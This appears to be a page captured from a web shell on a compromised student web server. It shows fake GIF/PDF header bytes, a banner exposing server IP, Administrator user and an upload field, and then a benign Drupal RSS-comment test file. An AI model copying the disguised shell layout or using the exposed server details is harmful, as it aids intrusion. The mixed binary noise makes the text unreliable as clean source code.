GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/comment/src/Tests/ |
Upload File : |
<?php namespace Drupal\comment\Tests; use Drupal\comment\Plugin\Field\FieldType\CommentItemInterface; use Drupal\Core\Cache\Cache; use Drupal\Core\Entity\Entity\EntityViewDisplay; use Drupal\system\Tests\Cache\AssertPageCacheContextsAndTagsTrait; /** * Tests comments as part of an RSS feed. * * @group comment */ class CommentRssTest extends CommentTestBase { use AssertPageCacheContextsAndTagsTrait; /** * Modules to install. * * @var array */ public static $modules = ['views']; /** * {@inheritdoc} */ protected function setUp() { parent::setUp(); // Setup the rss view display. EntityViewDisplay::create([ 'status' => TRUE, 'targetEntityType' => 'node', 'bundle' => 'article', 'mode' => 'rss', 'content' => ['links' => ['weight' => 100]], ])->save(); } /** * Tests comments as part of an RSS feed. */ public function testCommentRss() { // Find comment in RSS feed. $this->drupalLogin($this->webUser); $this->postComment($this->node, $this->randomMachineName(), $this->randomMachineName()); $this->drupalGet('rss.xml'); $cache_contexts = [ 'languages:language_interface', 'theme', 'url.site', 'user.node_grants:view', 'user.permissions', 'timezone', ]; $this->assertCacheContexts($cache_contexts); $cache_context_tags = \Drupal::service('cache_contexts_manager')->convertTokensToKeys($cache_contexts)->getCacheTags(); $this->assertCacheTags(Cache::mergeTags($cache_context_tags, [ 'config:views.view.frontpage', 'node:1', 'node_list', 'node_view', 'user:3', ])); $raw = '<comments>' . $this->node->url('canonical', ['fragment' => 'comments', 'absolute' => TRUE]) . '</comments>'; $this->assertRaw($raw, 'Comments as part of RSS feed.'); // Hide comments from RSS feed and check presence. $this->node->set('comment', CommentItemInterface::HIDDEN); $this->node->save(); $this->drupalGet('rss.xml'); $this->assertNoRaw($raw, 'Hidden comments is not a part of RSS feed.'); } }